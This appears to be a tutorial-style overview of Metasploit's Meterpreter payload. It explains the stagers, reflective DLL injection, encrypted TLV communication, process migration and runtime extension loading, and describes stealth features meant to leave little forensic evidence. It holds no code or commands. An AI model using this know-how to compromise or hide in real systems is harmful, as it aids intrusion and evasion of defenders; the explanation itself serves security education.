Metepreter was originally written by skape for Metasploit 2.x, common extensions were merged
for 3.x and is currently undergoing an overhaul for Metasploit 3.3. The server portion is implemented in
plain C and is now compiled with MSVC, making it somewhat portable. The client can be written in any
language but Metasploit has a full-featured Ruby client API.

How Meterpreter Works

The target executes the initial stager. This is usually one of bind, reverse, findtag, passivex, etc.

The stager loads the DLL prefixed with Reflective. The Reflective stub handles the
loading/injection of the DLL.

The Metepreter core initializes, establishes a TLS/1.0 link over the socket and sends a GET.
Metasploit receives this GET and configures the client.

Lastly, Meterpreter loads extensions. It will always load stdapi and will load priv if the module
gives administrative rights. All of these extensions are loaded over TLS/1.0 using a TLV protocol.

Meterpreter Design Goals

Stealthy

Meterpreter resides entirely in memory and writes nothing to disk.

No new processes are created as Meterpreter injects itself into the compromised process and
can migrate to other running processes easily.

By default, Meterpreter uses encrypted communications.

All of these provide limited forensic evidence and impact on the victim machine.

Powerful

Meterpreter utilizes a channelized communication system.

The TLV protocol has few limitations.

Extensible

Features can be augmented at runtime and are loaded over the network.

New features can be added to Meterpreter without having to rebuild it.

Adding Runtime Features

New features are added to Meterpreter by loading extensions.

The client uploads the DLL over the socket.

The server running on the victim loads the DLL in-memory and initializes it.

The new extension registers itself with the server.

The client on the attackers machine loads the local extension API and can now call the extensions
functions.

This entire process is seamless and takes approximately 1 second to complete.